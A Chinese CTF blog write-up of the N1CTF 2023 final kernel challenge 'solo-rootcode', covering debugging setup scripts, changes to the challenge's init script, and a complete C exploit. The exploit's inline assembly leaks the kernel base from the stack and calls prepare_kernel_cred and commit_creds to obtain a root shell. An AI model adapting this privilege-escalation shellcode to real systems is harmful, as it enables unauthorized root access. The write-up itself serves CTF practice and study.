N1CTF final

本文最后更新于:2024年1月10日 凌晨

谁说遇到内核Jmp.Cliff就一定会寄的?

N1CTF 2023

最近要给自己上强度,现看一看以前的题吧。

so,不说废话,直接讲题。

solo-rootcode

复习复习这个签到内核

__,启动!

关于内核如何启动

三板斧启动脚本tools.sh,集合了编译、gdb、qemu三个步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh
gcc -o exp exp.c --static -masm=intel -g -lpthread
cp exp rootfs
cd ./rootfs
gen-cpio rootfs.cpio
cp rootfs.cpio ..
cd ..

#tmux split-window -h
#tmux send-keys "gdb -x ./GT.gdb" C-m
#tmux select-pane -t 0

#tmux attach-session -t mysession

./run.sh

注释部分打开前三行即可启动GT.gdb,即gdb的启动选项

GT.gdb(GT是gdb tools的缩写……)

1
2
3
4
5
target remote localhost:1234
set $lkm_base = 0xffffffffc0201000
add-symbol-file ./rootfs/vuln.ko $lkm_base
b*($lkm_base + 0x90)
b*($lkm_base + 0x14C)

使用时执行tools.sh,利用里面注释掉的那三行启动GT.gdb即可。

关于启动时的异常

  1. 做题前直接把题目压缩文件拖进来,然后在虚拟机内部解压。不要在外面解压然后复制进来,有时候有毛病。
  2. gdb挂不上去的话,检查run.sh启动脚本的-s是否开启(《对方拒绝通话》)
  3. start的启动内存给多点,别太吝啬

题目分析

不需要分析,write功能是rootcode,直接利用栈上的残留数据计算kernel_cred_prepare和commit_creds的地址就行了。

扫雷

这题的init文件非常坑人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 2 > /proc/sys/kernel/kptr_restrict

chmod 600 /flag

insmod vuln.ko
chmod 666 /dev/vuln

ifconfig eth0 10.0.2.15
route add default gw 10.0.2.2

su ctf -c /bin/bash

poweroff -f

首先是这两行:

1
2
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 2 > /proc/sys/kernel/kptr_restrict

一般来说我们想看一个模块的加载地址可以这样,但是上面的这些会影响这个办法。

1
cat /sys/module/LKM名字/sections/段名(一般是.text)

老东西可能一眼就看出来了,但是新人并不能很好地看懂启动参数。下面/proc/sys/kernel/kptr_restrict 会导致这个指令读取的全是0。这里把echo的改成1就行了。

其次是

1
su ctf -c /bin/bash

这里并不是以前那种setuid的方式,其实改成root就行了。

最后再记录一下,关闭内核kaslr的方法是把kaslr改成nokaslr而不是no kaslr……

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "kernelpwn.h"

//ffffffff811bb6a0 T prepare_kernel_cred
//ffffffff811bb400 T commit_creds
//0xffffffffc0201000

int fd=0;
size_t prepare_kernel_cred=0x1bb6a0 ;
size_t commit_creds=0x1bb400 ;



void rootcode(){
asm volatile(
"push rbp;"
"mov rax,[rsp+0x28];"
"sub rax,0x4078B5;"
"push rax;"
"add rax,0x1bb6a0;"
"xor rdi,rdi;"
"call rax;"
"mov rdi,rax;"
"pop rax;"
"add rax,0x1bb400;"
"call rax;"
"nop;"
"nop;"
);
}

int main(){
printf("linux kernel pwn start!\n");

fd=open("/dev/vuln",O_RDWR);
if(!fd)
{
printf("open failed!\n");
exit(0);
}

write(fd,((char*)&rootcode+8),0x100);

get_root_shell();

return 0;
}

N1CTF final
http://example.com/2024/01/10/Blog/Pwn/pwn wp/N1CTF 2023 final/N1CTF 2023 final/
作者
Jmp.Cliff
发布于
2024年1月10日
许可协议